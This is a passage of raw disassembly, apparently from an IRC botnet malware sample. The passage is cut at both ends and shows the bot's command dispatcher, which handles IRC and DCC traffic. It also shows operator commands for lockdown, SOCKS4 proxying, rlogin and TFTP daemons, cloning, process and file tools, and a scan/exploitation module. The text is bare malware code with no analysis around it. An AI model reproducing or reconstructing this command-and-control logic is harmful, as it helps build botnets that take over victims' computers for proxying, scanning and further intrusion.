loc_40F10C: ; CODE XREF: sub_40EE72+25Fj add esp, 0Ch loc_40F10F: ; CODE XREF: sub_40EE72+1D8j ; sub_40EE72+1F4j ... mov eax, edi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_40F116: ; CODE XREF: sub_40EE72+270j mov esi, [ebp+arg_18] mov [ebp+var_BC], 2 mov edi, 80h loc_40F128: ; CODE XREF: sub_40EE72+2DBj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F145 mov [ebp+var_AC], 1 loc_40F145: ; CODE XREF: sub_40EE72+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40F128 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F241 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40F174: ; CODE XREF: sub_40EE72+392j cmp [esi], bl jz loc_40F1FF push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40F1FF cmp [ebp+var_88], ebx jz short loc_40F1FF push [ebp+var_88] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F1FF lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset dword_438734 push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40D633 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 14h loc_40F1FF: ; CODE XREF: sub_40EE72+304j ; sub_40EE72+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40F174 push [ebp+var_88] push [ebp+arg_10] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F239 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40F22E: ; CODE XREF: sub_40EE72+618j ; sub_40EE72+978j push [ebp+arg_4] call sub_40D633 loc_40F236: ; CODE XREF: sub_40EE72+57D8j ; sub_40EE72+57F5j ... add esp, 10h loc_40F239: ; CODE XREF: sub_40EE72+5Bj ; sub_40EE72+F1j ... push 1 loc_40F23B: ; CODE XREF: sub_40EE72+5CEBj pop eax loc_40F23C: ; CODE XREF: sub_40EE72+29Fj ; sub_40EE72+229Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F241: ; CODE XREF: sub_40EE72+2F2j push esi push offset aNick ; "NICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F397 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40F26A: ; CODE XREF: sub_40EE72+44Aj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2B7 lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F2B7 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4179C0 push [ebp+arg_1C] push edi call sub_4179D0 add esp, 10h mov edi, 80h loc_40F2B7: ; CODE XREF: sub_40EE72+409j ; sub_40EE72+420j add esi, edi dec [ebp+arg_0] jnz short loc_40F26A lea eax, [ebp+var_D8] test eax, eax jz loc_40F239 cmp [ebp+arg_24], ebx jz loc_40F239 push [ebp+arg_10] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2FF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F2FF: ; CODE XREF: sub_40EE72+476j mov edi, [ebp+arg_18] xor esi, esi loc_40F304: ; CODE XREF: sub_40EE72+4B3j cmp [edi], bl jz short loc_40F31B lea eax, [ebp+var_AA8] push eax push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F32C loc_40F31B: ; CODE XREF: sub_40EE72+494j inc esi add edi, 80h cmp esi, 2 jl short loc_40F304 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F32C: ; CODE XREF: sub_40EE72+4A7j lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40F239 push eax call sub_417AB0 push [ebp+arg_24] mov edi, eax call sub_417AB0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40F239 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push esi call sub_4172B0 push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40D679 add esp, 24h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F397: ; CODE XREF: sub_40EE72+3DEj push esi push offset aPart ; "PART" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F3B9 push esi push offset aQuit ; "QUIT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F3E0 loc_40F3B9: ; CODE XREF: sub_40EE72+534j mov edi, [ebp+arg_18] xor esi, esi loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj cmp [edi], bl jz short loc_40F3D4 push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F42E loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej inc esi add edi, 80h cmp esi, 2 jl short loc_40F3BE loc_40F3E0: ; CODE XREF: sub_40EE72+545j push [ebp+var_90] push offset a353 ; "353" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F48F push [ebp+var_84] push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F417 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F417: ; CODE XREF: sub_40EE72+59Aj push [ebp+var_84] push offset dword_4386D8 loc_40F422: ; CODE XREF: sub_40EE72+5B47j ; sub_40EE72+5E96j ... call sub_40BFE1 pop ecx loc_40F428: ; CODE XREF: sub_40EE72+5FABj pop ecx jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F42E: ; CODE XREF: sub_40EE72+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_4386A8 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push [ebp+var_90] push offset aPart ; "PART" call sub_4176D0 add esp, 18h test eax, eax jnz loc_40F239 lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F48F: ; CODE XREF: sub_40EE72+582j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4176D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push offset dword_4386A4 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 cmp dword_42F5B8, ebx jz loc_414F47 loc_40F4E3: ; CODE XREF: sub_40EE72+637j ; sub_40EE72+649j push [ebp+var_90] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_C0], esi loc_40F52A: ; CODE XREF: sub_40EE72+8B9j ; sub_40EE72+94Dj ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_43869C mov [ebp+arg_8], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F96F push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F82A cmp [ebp+var_AC], ebx jz loc_40F800 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6F4] push edi push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_708] push [ebp+esi+var_88] push edi push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_438658 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C8B4 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz loc_40F7EF loc_40F659: ; CODE XREF: sub_40EE72+7FBj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 2600833h jmp short loc_40F659 ; --------------------------------------------------------------------------- loc_40F66F: ; CODE XREF: sub_40EE72+681j ; sub_40EE72+697j push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F688 mov [ebp+var_4], 1 loc_40F688: ; CODE XREF: sub_40EE72+80Dj cmp [ebp+var_8C], ebx jz loc_40F239 push (offset loc_4289A7+1) push [ebp+var_8C] call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40F6AF cmp [ebp+var_4], ebx jz short loc_40F6BB loc_40F6AF: ; CODE XREF: sub_40EE72+836j lea eax, [ebp+var_D8] mov [ebp+var_8C], eax loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj cmp [ebp+var_88], ebx jz loc_40F239 inc [ebp+var_88] jz short loc_40F707 cmp [ebp+arg_10], ebx jz short loc_40F707 lea eax, [ebp+var_928] push eax call sub_417AB0 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_418DA0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40F70D ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40EE72+85Bj ; sub_40EE72+860j mov esi, [ebp+var_C0] loc_40F70D: ; CODE XREF: sub_40EE72+893j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40F239 push edi push offset dword_43864C call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40F7B0 mov eax, dword_489DD0 mov eax, off_42F6CC[eax*4] cmp [eax], bl jz short loc_40F7B0 push eax push ecx push offset dword_438630 push [ebp+arg_4] call sub_40D633 add esp, 10h lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 10h cmp [ebp+var_AC], ebx jnz loc_40F239 push ebx lea eax, [ebp+var_2DC] push 1 push eax push offset dword_489CDC loc_40F7A0: ; CODE XREF: sub_40EE72+58C1j push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j ; sub_40EE72+8D8j push edi push offset dword_43860C call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40F52A push eax push ecx push offset dword_4385F4 jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j nop call near ptr 26402CBh push eax push offset dword_4385AC jmp loc_40F95B ; --------------------------------------------------------------------------- loc_40F800: ; CODE XREF: sub_40EE72+702j lea eax, [ebp+var_D8] push eax push [ebp+esi+var_8C] push offset dword_43855C loc_40F813: ; CODE XREF: sub_40EE72+6177j ; sub_40EE72+61DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 10h loc_40F822: ; CODE XREF: sub_40EE72+7EDj ; sub_40EE72+AB1j ... push 1 pop esi jmp loc_411100 ; --------------------------------------------------------------------------- loc_40F82A: ; CODE XREF: sub_40EE72+6F6j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F985 cmp [ebp+var_AC], ebx jz loc_40F94F push 13h call sub_416FA4 test eax, eax pop ecx jnz loc_40F941 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_1 ; "%s" push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_438524 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C351 push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_40F933 loc_40F91D: ; CODE XREF: sub_40EE72+ABFj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 2600833h jmp short loc_40F91D ; --------------------------------------------------------------------------- loc_40F933: ; CODE XREF: sub_40EE72+AA9j nop call near ptr 26402CBh push eax push offset dword_4384E0 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F941: ; CODE XREF: sub_40EE72+9E9j lea eax, [ebp+var_D8] push eax push offset dword_4384A0 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F94F: ; CODE XREF: sub_40EE72+9D9j lea eax, [ebp+var_D8] push eax push offset dword_438460 loc_40F95B: ; CODE XREF: sub_40EE72+989j ; sub_40EE72+ACDj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_40F96F: ; CODE XREF: sub_40EE72+6DBj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42F5C4 mov [edi], ecx jnz loc_40F239 loc_40F985: ; CODE XREF: sub_40EE72+9CDj mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_0 ; "c" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F push [ebp+arg_8] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F cmp [ebp+var_AC], ebx jnz short loc_40F9D5 push [ebp+var_90] push offset dword_4386A4 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 loc_40F9D5: ; CODE XREF: sub_40EE72+B47j cmp [ebp+arg_28], ebx jnz loc_414F47 xor edi, edi cmp dword_4313B4, ebx jle loc_40FB81 mov [ebp+arg_20], offset dword_444340 loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j push [ebp+arg_8] push [ebp+arg_20] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40FA19 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4313B4 jl short loc_40F9F3 jmp loc_40FB81 ; --------------------------------------------------------------------------- loc_40FA19: ; CODE XREF: sub_40EE72+B90j push offset asc_4387B4 ; " :" push [ebp+arg_0] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 mov cl, byte_42F5C4 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42F5C4 mov [eax+3], cl lea ecx, dword_444358[edi] push 9Fh add eax, 4 push ecx push eax call sub_418C10 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FADA mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40FADA lea eax, dword_444340[edi] push eax call sub_417AB0 add [ebp+var_C], eax pop ecx jz short loc_40FB0C mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40FB0C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch jmp short loc_40FB0C ; --------------------------------------------------------------------------- loc_40FADA: ; CODE XREF: sub_40EE72+C24j ; sub_40EE72+C2Bj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40FB0C lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_418C10 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 18h loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj ; sub_40EE72+C51j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40FA6E lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40FB29: ; CODE XREF: sub_40EE72+D03j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FB6C mov eax, [edi] cmp eax, ebx jz short loc_40FB6C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj ; sub_40EE72+CE5j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40FB29 mov [ebp+var_DC], 1 loc_40FB81: ; CODE XREF: sub_40EE72+B74j ; sub_40EE72+BA2j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42F5C4 jz short loc_40FB9A cmp [ebp+var_DC], ebx jz loc_40FD7F loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_40A7D7 lea eax, [ebp+var_D8] push eax push offset aUser_2 ; "$user" push edi call sub_40A7D7 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_40A7D7 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 push eax push offset aRndnick ; "$rndnick" push edi call sub_40A7D7 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_40A7D7 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417880 add esp, 14h loc_40FC0C: ; CODE XREF: sub_40EE72+E86j test eax, eax jz loc_40FCFD push edi push [ebp+arg_0] call sub_417880 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_418C10 lea eax, [ebp+var_B8] push offset asc_43841C ; ")" push eax call sub_418B6E add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40FC58 cmp [ebp+var_B8], 39h jle short loc_40FC6E loc_40FC58: ; CODE XREF: sub_40EE72+DDBj push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_418C10 add esp, 0Ch loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j lea eax, [ebp+var_B8] push eax call sub_41781F test eax, eax pop ecx jle short loc_40FC91 lea eax, [ebp+var_B8] push eax call sub_41781F pop ecx mov [ebp+var_14], al jmp short loc_40FCA2 ; --------------------------------------------------------------------------- loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj call sub_41730C push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_417AB0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_417330 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_418C10 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 push edi push [ebp+arg_0] call sub_417880 add esp, 30h jmp loc_40FC0C ; --------------------------------------------------------------------------- loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 lea eax, [ebp+var_11B0] push offset asc_42A3B4 ; " " push eax call sub_418B6E add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j push offset asc_42A3B4 ; " " push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40FD4D mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40F239 add ecx, 3 mov [eax], ecx loc_40FD7F: ; CODE XREF: sub_40EE72+D22j mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aRn ; "rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aIrc_die ; "irc.die" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_di ; "irc.di" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_logout ; "irc.logout" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aLo ; "lo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aIrc_version ; "irc.version" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aVer ; "ver" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aLockdown_on ; "lockdown.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_on ; "ld.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLockdown_off ; "lockdown.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_off ; "ld.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FEEF push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_438364 loc_40FED3: ; CODE XREF: sub_40EE72+10A1j ; sub_40EE72+10C7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416FEA add esp, 20h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF15 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_438340 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF15: ; CODE XREF: sub_40EE72+108Cj push edi push offset dword_438330 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF3B push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_438324 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j push edi push offset dword_43831C call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF64 push [ebp+esi+var_90] push 1Dh push offset dword_438310 push offset dword_438304 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF64: ; CODE XREF: sub_40EE72+10D8j push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF8D push [ebp+esi+var_90] push 10h push offset dword_4382E0 push offset dword_4382D0 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF8D: ; CODE XREF: sub_40EE72+1101j push edi push offset dword_4382C4 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFB6 push [ebp+esi+var_90] push 0Ah push offset dword_4382B8 push offset dword_4382AC jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj push edi push offset dword_43829C call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFDF push [ebp+esi+var_90] push 0Bh push offset dword_438290 push offset dword_438284 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFDF: ; CODE XREF: sub_40EE72+1153j push edi push offset dword_438274 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410008 push [ebp+esi+var_90] push 0Fh push offset dword_438268 push offset dword_43825C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410008: ; CODE XREF: sub_40EE72+117Cj push edi push offset dword_43824C call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410031 push [ebp+esi+var_90] push 0Eh push offset dword_438240 push offset dword_438234 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410031: ; CODE XREF: sub_40EE72+11A5j push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41005A push [ebp+esi+var_90] push 4 loc_41004B: ; DATA XREF: ___:0042CC90o ; ___:0042CCA4o push offset aServer ; "Server" push offset dword_438218 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_41005A: ; CODE XREF: sub_40EE72+11CEj push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aCom_ps_off ; "com.ps.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aClone_off ; "clone.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4100D7 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_4381B8 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4100D7: ; CODE XREF: sub_40EE72+124Bj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410100 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_438190 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410100: ; CODE XREF: sub_40EE72+1274j push edi push offset aRoot_stop ; "root.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410129 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410129: ; CODE XREF: sub_40EE72+129Dj push edi push offset aRoot_stats ; "root.stats" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aRoot_st ; "root.st" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_r ; "irc.r" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_d ; "irc.d" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_quit ; "irc.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_q ; "irc.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_status ; "irc.status" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_s ; "irc.s" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_id ; "irc.id" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aIrc_i ; "irc.i" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aCom_rebewt ; "com.rebewt" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410277 call sub_40AC20 test eax, eax mov eax, 